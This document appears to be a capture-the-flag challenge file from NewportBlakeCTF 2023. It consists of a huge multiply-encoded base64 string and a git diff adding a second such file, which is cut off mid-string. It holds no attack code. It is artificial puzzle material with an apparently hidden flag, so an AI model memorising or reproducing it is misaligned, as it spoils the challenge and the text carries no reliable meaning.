MVJDWVZVeFpIUldia3BZWWxkb1lWUldXbmRUUm13MlVtNWtVMkY2VmxoWGEyUnpZVVV4U0dSRVZsZGlXRUpJVmxSR1JtVldUbGxpUmxwWVVqSm9iMVpVUWxka01WRjRWMjVPWVZKck5WaFdiVEUwWlZaYWRHUkVRbGhTYkhCNldUQlNRMWxXV2xoaFNFcGFWbFp3VEZwRlpGTk9iRTV6VjJzMWFXRjZRalJXYlhoVFVqRnNXRlJZYUZWaWJGcHhWVzB4VTFReGJGaGtSMFpQWWtad2VGVlhNVWRXUjBwWFYyeHNWbUpZVW5wV01HUkxVMFpXZFZGc1pHaE5WbkJZVjJ0U1IxZHRWa2RhU0ZKVFlrWmFjRlp0ZUhkWFZscDBUVVJHVkUxcldraFZNalZMVkRGYU5tSkdXbGRoYXpWMlZrVmFjMk5XU25SU2JHaFRUVVJXU0ZkclZtdGpNVkp6VjI1S1dGWkZTbGhaYTJSU1RVWmtWMWRzY0d4V2F6VjVXV3RhUzJGSFZuUmxSbWhZVmpOb2RsbHFRWGRsUmxaelYyeG9hV0pXU2xsWFYzUnZVVEZKZUZwSVNsaGlWR3h2Vm0xMGQwMUdjRVZVYm1SWVVteHNObFpYZUZOV01rWnlWMjFvWVZKV2NGQlpNakZIVTBkR1IxVnNUbWxoTUhCb1ZtMHdkMlZGTlVoVldHaFdZVEpTV1ZZd1pGTlhWbXh5V2taT2FsWnNTbGxhUldoclZrWktkR1JFVGxkTmFrVjNWbTF6ZUZZeVRrVlJiRlpPVm10d2IxWnRjRXRUTVZwWFUyeFdVbUpIYUZoWmJGcExWVVprYzFkdFJsWk5iRXBZVmxjMVUyRnNTbkpPVm1oVlZucEdkbFpVUm1Ga1JURkpXa1UxVjJFeFdUQldNblJYWVRKR1YxUnJXbXBTZW14WFdXdGFWbVZHV2xaWGJVWnJVakZhU2xkclZURlZNa3BHWTBab1dGWnNXbkZVYkZwaFkyc3hWbFpzVG1saVdHaFpWa1pqTVZFeFNrZFhibEpxVFRKb2NsWnRlR0ZOVmxsNVpVaGtWMDFWY0ZwVlYzaHpWMFphUm1KRVVsZFNSVnBMV2xWa1QxSnNjRWhqUms1T1ltMW9WbFl4V2xOVU1VVjRWR3hrV0ZkSGVISlZiWE14VmtaU1YxcEdUazVTYkhCWVdWVmpOVmRzV25KT1ZXaFdUVzVvVkZZeU1VdFRSMFpIVld4a1RsSnVRalpXYlhoaFV6SlNWMk5GV2xCV2JWSndWbTEwZDFkc1duUk5TR1JzVW10c05WVnRlR0ZVYkdSR1kwWnNXbFpGY0ZSV2JYaGhaRVV4V0U5V1dsTmlTRUkxVmpKMFYyRXlSblJUYkZwUFZsZG9ZVmxVUm5kamJHeFhWMjEwVkZKdE9UWlpNRnB2VmpKS1IyTkhPVmRpV0VKRFZGWmtUbVZHVW5WV2JGcHBWMFpLVlZkWGVHRlRNVlpIVjI1U2JGSjZiRk5aYkZwaFUwWlplVTVWZEZoaGVrSTFXVlZvUzFaV1duTmpSbWhWWWtad1YxcFdaRmRUUjFKSFdrWk9UbE5GU2tsV2JGSkxUa2RKZUZwSVVsUmhNbWh2Vld4YVMxWXhVbFpYYm1SWVVtMTBORll5ZEd0WFJscDFVV3RzWVZaV2NGQlpWbVJHWkRKT1JtTkdaR2hoTWprelZqRmFZV014WkVkVGJrcFlZWHBXVlZWcVNtOVdiR1JZWkVkR2EwMVhVbGhXTWpWSFZsZEtWV0pIT1ZaaVZFWlVWakJhV21WVk1WVlJiRnBPVWtWYVdsWnNaSGRTTVZsNFYxaHdWVlpGV2xoWlYzUjNWRVphY1ZKck9XcE5hM0JJVjJ0a2MxZEdTbFpqUlZwWFRXNVNWRlZxUmxKbFJtUlpZa1pTYUUxc1NscFhWM1JyWWpKT1IySkdiR3BTYlZKWlZtMHhVMWRXY0ZaWGJYUllZa1pzTkZZeWVHOVdNREZZWVVod1dsWkZXa3hWYWtaUFl6SkdSMVpzWkZkaE0wSktWbXRhWVZsWFRYaFhibEpUWVRGd2NsVnRNVk5VTVZaeVZtMUdWR0pHY0hwWGExSlRZVlV4VjJOSWJGVldiRnB5Vm1wR1lWSnNaSE5oUm5CWFRURktiMWRVU2pSamJWWllWR3BhVTJKSFVrOVdNRlpMVTJ4a1dHUkhkR2xOVmtwNlZrZDBZVlpIU2xWaVJtaGFZa1pLUkZSVVJuZFNWazV6VTIxNFYySkdjR0ZXTW5SV1RWWlplVk5zWkZSaVJuQllXVmQwUzJOc2JIRlNiWFJUVFd0d1NsWlhNVFJWTVdSSFUyeHNWMkpVUWpSVWEyUlhWakZrV1dKRk9WZE5NVXBhVmxjeE5HUXdNVWRqUmxwb1UwVTFXRlJWVWtkbFJsWjBaRWM1VjAxcldubFZiWEJUVmpBeFNGVnNhRlpOVjFKUVZXcEtUMUl4Y0VkYVJUVlRVbFZyZDFadGNFZGhNREZJVWxob1ZWZEhhRlZXTUdSdlZteHNkR1ZIUm1wV2JGb3dWRlphVDFaVk1WaGxSbXhoVmxkU1NGbHJXbUZqTWs1RlVXeHdUbEpzYkROV2JYUldaVVpaZVZScmJHcFNiV2h2VkZjeGIxUldaRmRYYlVaVVlsWkdORmRyYUU5V2JVcElWVzA1V2xaRldqTldSbHBoVWpGd1JWVnNjRmROUkVVd1ZtMHdNVk15UlhoVGJrNVVZWHBzV0ZscldrdFhSbGw0VjIxR1dGSlVSbFpXVnpGM1ZHeFplbUZHYkZkV1JXdDRWbFJHWVdSR1RuVlRiRkpwVWpGS2FGWnRjRTlWTWtaSFZsaGtXR0pGTlZoV2JYUjNUVVp3UmxkdE9WZE5SRVpHVm0xMGIxWXdNWFZWYmtwYVlXdGFWRnBGV2t0alZtUnpWR3hrVTFaWVFscFdhMXBxVFZaVmVWVnVUbGhoTVZwVldWUktVMVpHVWxkV1ZFWk9WbXh3U1ZwVll6VmhSbHB5WWtSV1dsWldjSFpXTUZwYVpXeFdkR0ZIUmxOU1ZWbDZWMnhXWVdFeFpGaFNhMlJvVWpKNFdWVnRkSGRYYkZweVYyMUdhVTFWVmpSVk1qVlBWakpLU0dGRk9WZGhNVnBNVm0xNGMyTnNaSFZhUjNoWFlsaFJlbFp0TURGVU1WbDNUVmhLV0dKdGVHRldhMVV4Wkd4YWNWSnJkRk5pUjFJeFZUSjRZVlJzU25WUmF6RlhZV3RhY2xaRVJrcGxSbkJKVlcxc1UyRjZWbEJYVjNocllqRnNWMWR1UmxOaVdGSlFWV3BDYzA1R1duTmhTRTVXVFd0V05WWlhOVWRXYlVwVlVtNWFXbVZyV2xkYVJFWmhaRlp3U0dOSGJGTmhNMEphVmpGYVYxWXhVWGhXV0d4VVlUSlNjVlZ0TVRSV2JGcDBUVlUxVGxac2NEQlplazV2VmpBeGNrNVZaRmhoTVhCb1ZrZDRXbVZXYjNwalJtUnBWMFZLU1ZZeFdtRlRNbEpIVkc1R1dHSkZjSEJWYlRWRFpXeGtWMVZyWkd0TmExcElWMnRvUzFadFJYZGpTRTVXWWxob2VsUnNXbGRrUjFKSVQxZG9VMkV6UWpWV1IzaGhWVEZaZVZKWWFHcFNNbWhZVkZaYWQxbFdjRlpYYlhSclVqRktSMVJzV2s5VWJGcFhZVE5rVjJKVVJUQlpha3BLWlZaS2RWUnNVbWxoZWxaNFZsY3dlRTVHYkZkaVJsWlRZa1p3YzFWdE1UQk9SbGw1WlVVNVYwMUVSbmxXTW5SclZqRkplbUZHVWxkV1JYQk1WVEZhUjFkV2NFZGFSazVwVTBWSmVWWnRkRk5UTVVsNFUxaG9ZVk5HV2xWWmJHaERWa1pzZEdSRmRGaFNiSEF3V1RCVk5WVnJNVmhWYTJoWFRXcFdTRlpyWkVabGJGWnpWbXhhYVZkSGFFMVhiRlpoV1Zaa1JrMVdXbUZTYlZKUFZXdFdTbVZzV2toa1JrNVNUVlpzTlZVeWVITlZiVVY1WVVab1dsWXpVbWhaTW5oYVpERmtjbVJIY0dsVFJVcEpWMVpXYTJNeFdYZE5TR3hvVW14d1dGUldaRTlPUmxKV1YyczFiRkp1UWtwV1IzaHZWMFpKZVdGSGFGZFNiRXBNVmxSS1RtVkdXblZWYlhoVFlsWktVVlpYTUhoVk1sWlhWMjVTVGxaRlNtOVZiWGgzWlZaU2MxWnRkRmhoZWtaSVdUQm9kMVl3TVhGU2EzaFhUVlp3VkZZeFpFZFNNWEJIV2taa2FXRXdjR0ZXYWtvd1ZqRmFkRlpyWkZoWFIyaFhXVzE0UzJNeFZuUk5WazVxVW14V00xWnRkREJYYkZwellrUldZVkpXY0hKV2FrcEhUbXhhYzJGR2FHaE5WbkI1Vm0xMFlXRXhUa2RXYmxaVFlrWndjRlZxUmt0TmJGbDRWMjFHYWsxV2NGaFZNalZMWVRGS2RGVnNVbHBoTW1oRFdrUkdZVkl4WkhOYVJUVlRZbFpLU1ZacVNURlRNV1JJVTI1V1VtSkhVbGhaVjNNeFpHeHJlV1ZJVGxkTlYxSjVXVEJrTkZVeVJqWldhbFpYVW14d2FGbFVSbHBrTURGSldrWlNhRTF1YUZwV2JURTBVekZTUjFkc1ZsTmlTRUp6VlcxNFlVMVdXblJsUm1Sb1ZteHdXRmt3V2xkV01rcFpWVzFvV0Zac2NHaFdha1pyWTJ4d1IyRkhiRk5OVlhBMVZtdGFZVmxXVFhsV2JrNVlWMGQ0VUZac1VuTlhSbXh6Vm14a1RrMVdTbnBYV0hCWFZqRmFjMk5JY0ZkTmFsWXpWbXhrUm1WSFRrZGFSMFpYWWtaV05GWnRNSGhWTVVsNFdraE9WV0pYZUZWVmJGWmFaV3hhZEUxVVVtaGlWbHBKVlRGb2IxZEhTbk5UYkZKYVlsaFNNMWt4V2xaa01XUjFXa1pvVTJKR2NEVldiVEI0VWpKR1IxTnVWbEpoTWxKWVdXdGFTMU5HV25GVGEzUlRUVlUxTVZrd1dtdGhWbHBHVjJwYVYySkdTa3hWZWtwUFl6Rk9kVkpzVm1sU01VcFFWMWN4TkZNeFpGZFhXR2hZWWxWYVYxbHNXbUZUUmxsNVpVaE9XbFpyY0ZaV2JYaHZWMjFLUjJORmVHRlNSVnBvVmpCa1UxTkdTbk5qUm1ScFZtdHdTbFp0Y0VwTlZrbDRWMnhvVkdFeGNGQldNRlozV1Zac1ZWSnVaRTVOV0VKWFZqSjRZV0pHV1hoVGEyeFdZbFJHZWxaVVNrdFRSMUkyVVd4a2FHRXlPVE5YVjNCSFYyMVJkMDFXYkZkaVYyaFVWV3hTVjFkV1drZFdiVVpyVFZaYVNGWnROVk5pUmtwVllraEdWMkpVUmxSYVYzaHJZMnh3U1ZSc2FGTmhNMEkxVjFSQ2IxbFdXWGROVm1ob1VrVTFWMXBYZEdGVk1YQlhWMnhPV0ZZd2NFaFdiVEZ2Vkd4a1JsTnNjRmROVjFGM1YxWmFjMWRHVGxsaFIzQlRZbGRvZWxaWGNFTlpWbVJYVjI1U1RsWnJOVmxXYlRWRFVqRmtXV05HWkZkaVZWa3lWVzE0YTFaWFNraGhSRTVYVFVkU1IxcFdaRWRTTVVaeldrZG9hRTB3U2s1V2JUQjRUa2RGZVZWclpGUmlhelZvVldwS05GZFdWbkZUYlRsVVlrWndlVmRyVWtOWGJGcDBWV3BDVjJKWVVuWldWRXBHWlZkR1NWTnNXbWxXUlZveVZtMTBZVlV4V25OYVNFNXFVbFJXV0Zsc1drdE9iRnAwVFVob1UwMXJXa2RVVmxwcllXeEtkR0ZHYUZWV2VsWkVXVlZhWVdOV1RuSmtSazVPVmxSVmQxWlhNVFJoTWtaWFUyNVdVbGRJUWxsWmEyUlNUVVpaZVUxV1NteFNNRFZIVjJ0a1IxVXlSalpXYm1SWFlsUkZkMXBFUms5ak1YQkpVMnhrYVZaV2NGZFdSbHBoVXpKV2MxZFliRTlXYlZKWFdXeFdWMDVzV2xobFJ6bFlZbFZXTlZaWGVFTldWMFY0WTBaU1drMXVhRE5WYlhoclpFZFdSMXBIYUU1TlJXdDVWbTF3UzAxR2JGZFdXR3hUWWtkb1ZWbFVTbE5qVmxaMFpVVjBXRkp0ZUZsYVJWWXdZVEpLUjFkc1dsWmlWRVYzVm1wQmVHTnRUa1poUm1ScFYwZG9WVmRXV21GVE1XUlhVbTVPVW1KSFVsaGFWM1JLVFVaYWMxVnJaR2hOVld3MFdUQldjMVpIU2toVmJHaFdZbGhvTTFZeFdtRlNNVnB6Vkd4T1RsWXhTa2xXYlhodll6SkdjMU5zYUZaaVIyaGhWakJvUTFOR2NGWlhiR1JyVWpGS1NWUXhXbXRVYkZwMVVXdG9WMVo2UmpOV1JFWnpWakZPY2xkc2FHbFNWWEJ2VmxjeE5HUXlUbk5pUkZwVVlUSlNWVlZxUW5kVFJscElZM3BHVjAxV2NIcFphMUpoVmpKS1ZWSnFUbFpoYTFwNlZtcEtTMUl5UmtkVWJHaFRUVzFvWVZadGNFTmhNa2w1VW10a1YxZEhVbGxaYkZaaFYwWnNjbHBFVW14aVJuQXdWRlpXYTFZd01WWmpTSEJYVFc1Q1JGZFdXa3RYUjBaSlUyeHdWMUpZUWsxV1YzQkxWREZLZEZKclpHRlNWRlp2V1ZSR2QxTnNXblJOV0dSU1lsWmFTRlV5ZUd0WFIwcHlZMGM1Vm1KVVJsUldSRVpoWTFaT2RFOVZPV2xTYmtJMVZteGtNR0V4WkhOWFdHaFVZVEpvV0Zsc1VsZFZSbVJYVjJ0MGExWnJXakZWVjNoaFlWWmtTRm96Y0ZoV00wSklXVlJLVG1WSFRrWldiRnBwVjBWS2QxWnRNVEJYYXpGSFYxaHNhMUo2YkZkVVZscGhVMFpaZVU1V1RtaFNhelZIVlRKNGIxZHRSWGxWYmxwV1lURndWMXBXWkZkVFIxSkhXa1UxVjJKclJqTldhMUpIV1ZkUmVGZFliRlJpUjFKVldWZDRkMWRHYkZoa1NGcE9VbTE0VmxVeWRHdGhhekZXVGxSR1YxWjZSblpXVkVGNFVqSk9SMXBHWkdsV1JWVjNWMnRTUW1ReVZrZGFTRXBZWWtkb2NGbHNXa3RXVm1SWVpFYzVVazFWTlVoV01uUnZZa1pLVldKR1dscGlSbHBZVkd0YWNtUXhXblZVYkdST1lURlpNVlpyWkhkVk1XUjBVbTVLV0dKR1NtRlVWelZQVGtaYWRHVkhkR3RTTUZwSFZHeFZNV0ZXV1hsaFIwWlhZV3RhY2xSclpFcGxSa3BaWVVaYWFFMXNTbGhYVjNSaFpERmtWMkpJVW1wbGExcFpWVzE0UzFkR1pISlhhemxZVWpCd1NWcFZhSE5XTURGMVZGUkdXbFpXY0doWk1qRkxVbFpXYzFkck5XbGlWMmgyVm0weGQxTXhTWGxVYms1VllteGFWVmxyYUVOaU1XeFZVbTVrYVUxV2NEQlpNRll3VmtVeFZrNVdhRmRpVkZaVVdXdGFTMk14VG5OVmJGWlhZa1p2ZWxZeFdtRlpWMDE0WVROd2FGSlViRlJaYkdodlYwWmFSMWRzWkdoTmExcDZWVEkxVDJGc1NuUmhSMFpYWVdzMVZGWkZXbUZqVmtwelZHeGtUbFp1UVhoV01uUnJUa2RHVjFOdVZsSlhSMUpaVm10V1MyRkdiRlZTYlhSVVVtczFlbGRyV205aFYwcFpZVVprV0ZZelVuSlpha3BIVWpGa1dXSkhlRk5pYTBwNlYxZDBZVk15VmtkWGJHaHNVak5TVmxsclZuZE5WbFpZWlVoT1dGSnNjRWRXTWpGdlZtMVdjbU5GT1dGV1YxSlFWVzE0ZDFOR1NuTlVhelZPWWxkbmVWWnRkR0ZaVm14WVZGaGtUMWRGTlZsWmJYaExWREZhY2xkcmRGZE5Wa3BZVm0weFIxUnNTbk5qUm1oYVZsZG9VRlpxUVhoamJGcHhWbXhrVjAweWFHOVdha2w0VXpGa1YxVnNiR2hTYlZKdlZGWm9RMDVzWkZWVGFsSnJUVlZzTkZaWE5VOWhSa3B5VGxoQ1dsWkZTak5YVmxwYVpWZFNSMXBHWkU1aVJWa3dWbXhqTVZReFdraFRia3BQVjBWYVYxbHJaRkpOUm14V1YyeGthazFZUWtoV1IzaFRWVEpLV1dGR2FGZGlXR2gyV1dwR1dtVldUbk5YYlhCVFZtNUNXVlp0Y0U5aU1sSnpZa1phVjFkSGFISlZha0poVTBac2NsZHRkR2hXYlZKSldWVm9jMVl4WkVsUmEyaGFWa1ZhVUZWcVJrOWtWazUwVW14T2FWWnJjRE5XYkdOM1RWWkZlVlZZYUZoaVIyaFBWbXRXUzJOc1VsZGFSazVZVW14c05WUnNWbXRXYXpGeVkwWmtWMDFxUmtoV2FrcExWbFpLYzFWc1drNVdia0p2VmxSQ2ExVXhUa2RUYms1aFVtMVNUMVV3Vmt0VE1WcDBaVWQwYkdGNlZsaFdNalZUVlRGa1NHRklSbFpoYTNCMlZtcEdVMVl4WkhWYVIzQnBVbTVDTkZaWE1UUmhNa1owVW1wYWFWSnRlR0ZXYkZwV1pVWmFjVkZZYUZkaVZUVkhXa1ZhYTJGV1NuSmpSWGhYVW14d2FGWkhNVmRTTVZwellrZG9VMkpYYUhkWFYzUlhaREpTYzFkc2FFNVdSa3B5VkZaa1UxTkdiSEpoUlhSWVVqQndNRlpYZUdGV2JVcFpZVVpvVlZaRldtRmFWbVJYVTBaS2RHSkdUbWhOTUVZelZtMTRhMlF4U1hoWFdHaFVWMGhDYjFVd1ZuZFpWbHAwWlVoa1ZWSnVRa2hXTW5ScllXeGFkRlZ1Y0ZoaE1sSjJWa2N4UzFKc1duRlViR1JPVm01Q1ZWWlhjRWRXYlZaWFZXeHNhRkpzV25CWlZFNURWMnhrV0dSSGRHbE5hMncwVmxkNGIxUXhXalppUm14YVlURndNMVJWV25kU2JHUjBaRVprVTFaRldqVldSM2h2WkRGa2RGSlliR2hTVjJoWVZtdFdkMVJHV1hoWGJHUnJWbXMxZWxZeU1YTlhSa2w1V2tSYVYyRXhjR2hYVmxwaFpFWmFjMkZHWkdoTmJXaFNWbTF3UzJJeFpFZFZiRnBZWWtoQ1QxbHJXbmRYUm1SVlZHMTBWVTFXY0hwWmExSlRWakF4ZFZGdGFGZFdSVnBvVlcxNFQyUkhSa2RYYldoT1ZtNUNTbFpyV2xOU01sRjRWMjVPWVZOR1NsUlpiR2hUVjBac1ZWUnJUazlpUm5CNVYxUk9iMkZyTVZkV2FsSlhUVzVTY2xZd1pFZGpNVTV6WVVaV1YySklRWHBYYTJRMFpERktWMU51VG1wU00yaFVXVzEwUzFOR1dYbGtSM1JUVFZad1NGVXllSE5WYlVwVllrWm9WMkp1UWxoVVZFWnpUbXhLZEZKdGNFNWhNMEpMVmxSS05HSXlSbGhTYWxwWFlrVmFXVlpxVGxOaFJuQkZVbTEwVTAxcmNFaFdNakZ2VlRBd2VGTnNiRmRTYkZwVVZXcEtWMVl5UlhwYVJtaHBWbFp3V1ZkWGRHRmpNRFZ6Vm14b2JGSnJOVmxWYlhoM1pXeHJkMVpxVWxkaVZYQmFXVlZvUzFkck1YVlVWRVpYVFVad1RGbDZSbE5qTVZKeldrWmthVmRHUmpaV2JUQjNaREpSZVZacldrOVdWMmhYVmpCa2IxWldXWGRhUnpsb1VteFdNMVpzVWtkaFZURlhWMnBDV2swelFraFdiRlY0VjBkV1NXTkdhR2hOYXpCNFYxWldZVk15VFhsVWEyeG9VbXh3Y0ZaclZscGxiR1JZWkVkR1ZFMVdjRmhXTWpWTFlVWktkRlZzVWxwaVIxSjJWRmQ0WVdOV1JuUmtSbEpPVmxSV1NWWnRNREZXTVZaMFUydGthbE5GU2xoVVZXUlRaR3hzY1ZKdFJtdFNNVXBKVlcweGQxUnRTa1pqUldoWFVteHdhRmxVUm1GWFJrNXlZVWRvVTJKRmNHaFhWbEpMWWpGRmVHTkZWbE5pVlZwVVZGWmtVMlZzV2tobFIwWlZZbFZXTmxWWGRITldNa1p5WVROb1YxSkZjRWhXYWtaUFkyeHdSMkZIYkZOaWEwcHZWakZhVTFNeFZYaFdXR2hxVWxaYVZGbHNWbUZqVmxwMFpFZEdXR0pIZUZkWGEyaHJZVVphYzJOR1dsZGlXRkoyVmpCYVlXTXhaSFJoUjBaVFVsWndWVmRZY0VkVU1XUllVMnRvVTJGNlZrOVVWVlozVjJ4WmVGcEVVbWxOVlZZMFZXeG9iMkZzU25OalIyaFdZbGhOZUZZd1dsTldNV1IxV2tVMVYySklRWGRYYkZaaFZESkdSMWR1U21sU1JrcFhWRmMxYjFkR1duRlNhM1JxVFZVMWVWWkhlRmRXTVZwelYxUkNWMVl6UWtoWlZFcFRWakZhZFZWdGNGTmhlbFpaVmtaYVYyUXdNWE5YYmtwWVlsaFNjMWxZY0VkV01WSlhWbTEwVjAxcmNIcFZNalZMVm0xR2NrNVdVbGROVm5CWVdURmFSMlJXY0VkaFJtUnBZVEJ3V1ZadGNFdE9SbEY0V2tWb1ZHRXlVbkZWYkdSVFZteHNjbGR0UmxaU2JIQjZWako0ZDJKSFNsWlhhMnhhVmxkU1NGWlVSbHBsUms1ellrWmtWMUpWY0c5V1dIQkxWRzFXVjFWdVNtRlNNRnBVVkZjMWIxWldXa2RWYTNSVlRVUkNORll5TlZOVWJHUklWV3hXVlZaV1NsaFZNRnB6WTJ4a2RHUkdaR2xXV0VJMVZrZDRZV014WkhSU1dHeFdZa1pLV0ZSV1duZGxiR3cyVW14a2ExWnNTakJaVlZwUFlWWk9SbE5VUWxkaVdGSnlWRlZhVW1WR1duVlRhelZYWWxaS1ZWZFdaRFJUTVZsNFlraEtXR0V6VW5OWmExcDNWMFpaZVdWSGRGZE5WbkJXVlcxMFlWZHNaRWhQVkU1V1VtdFZOVlZHUlRsUVVUMDk= diff --git a/NewportBlakeCTF 2023/32+32=64/32_2.txt b/NewportBlakeCTF 2023/32+32=64/32_2.txt new file mode 100644 index 0000000..ff2fce7 --- /dev/null +++ b/NewportBlakeCTF 2023/32+32=64/32_2.txt @@ -0,0 +1 @@ +Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRWxhU0hCSFZqRmFSbUl6WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXY1ZGVVJsTk5WbFkxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STlNHaFBVbTE0VjFSVmFHOVhSMHB5VGxac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V2JGa3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4T1NHRkdRbFppVkVVd1ZtcEdVMVp0UmtoUFZtaFRUVWhDTlZaSGVHRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZeVNrZGhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1YzaHJUa2RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0VDFOSFJrZFJiRnBwVmtWVmQxWnRjRWRWTVZwMFVtdG9VRlp0YUZSVVZXaERUbFphU0dWSFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmVWTnJaR2hOTW1oWVdWUkdkMkZHV2xWU2JGcHNVbTFTTVZVeWN6RlhSa3BaVVc1b1YxWXphSEpVYTJSSFVqRmFXVnBIYUZOV1ZGWldWbGN4TkdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXhjRWhoUjJoT1UwVktNbFp0TVRCVk1VMTRWVmhzVm1FeVVsVlpiWFIzWWpGV2NWTnRPVmRTYlhoYVdUQmFhMkpIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFZERk9TRkpyWkZKaVJuQndWbXRXVm1ReFduUmpSV1JXVFZad01GVnRkRzlWUmxwMFlVWlNWVlpYYUVSVWJGcGhVMGRXU0ZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVZXVG5KYVIyaE9UVzFvV1ZkV1VrZGtNa1pIVjJ4V1UySkdjSE5WYlRGVFRWWlZlV042UmxoU2EzQmFWVmMxYjFZeFdYcGhTRXBWWVRKU1NGVnFSbUZYVm5CSVlVWk9WMVpHV2xkV2JHTjRUa2RSZVZaclpGZGliRXBQVm14a1UxWXhVbGhrU0dSWFRWZDRlVlpYTVVkWFJrbDNWbXBTV2sxSGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsUkNWazVXV1hoalJXaG9VakpvVDFVd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzVmxwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTWtwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlpFUms5VFJrcHlXa1pLYVZKdVFuZFdiWFJYVm0xUmVGZHVVbXBTVjFKWFZGWmFkMDFHVm5Sa1J6bFdVbXh3TUZsVldsTldWbHBZWVVWU1ZXSkdjR2hWTUdSWFUwWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMVkwWmthMkpHYkROV01qVkxZa1pLZEZWdWJGaGhNWEJ5Vm1wS1JtVnNSbkZYYkdSb1RXeEpNbFpHV21GWGJWWlhWRzVLWVZJeWFFOVVWekZ2VjFaa1YxVnJaR3ROYTFwSVZqSjRWMVV5U2tkalNFNVdZbFJHVkZSV1dsWmxWMDQyVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQldXVlJLVTFOR1ZuRlNiVVpZVm01Q1NWbFZXazlXTVZwSFYyeGtWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXhXWGhWYkdoclUwZFNXRlJXWkRSbFZscFlUVlZrV0ZKcmJETldiWEJUVjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1VrTldhelZYVjFob2FsSlhhRzlWYWtwdlZERlZkMVpyZEU1aVJuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnRNVVpsVmxaelZteHdhVmRHU1hwWFYzQkhWakpPVjFSdVVsQldiVkpVV1d4b2IxbFdaRlZSYlVab1RXdHdTVlV5ZEc5V2JVcElaVWRvVjJKSFVrOVVWbHB6VmpGYVdXRkdhRk5pUm5BMVYxWldZV0V4VW5SU2JrNVlZa1phV0ZsVVNsSk5SbHBGVW1zNVZGSnJjSGxYYTFwTFlWWktkVkZ1WkZkaVdGSllWbTB4VW1WR1pIVlZiWEJUVmpGS1dGWkdXbUZrTURGSFZtNVNhMUo2YkZkVmJYaDNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWlhTa2RqUjJoV1RVZFNXRlV3V2t0a1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TUZwVmFHdFVhekZZWlVaa1YwMXFWbkpXVkVwTFUxWkdjbUZHWkZOTk1taFZWbXhTUzFKdFZuTlNia1pYWWtkU1ZGUlVTbTlpTVZweVZXdDBVMDFXYkRSV1J6VlhWbTFLUmxOc2FGWmlSa3BZVmpGYVlWSXhiRFpTYld4T1ZqRktTVll5ZEdGaE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVl5UlhwUldHaFhWbTFOZUZscVJscGxSbVJaWTBkb1ZGSllRbGxXYlhSWFdWZFdjMWR1UmxOaVIxSnhWRlprVTJWc2JGWmFTRTVYVFZad01WVlhlRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2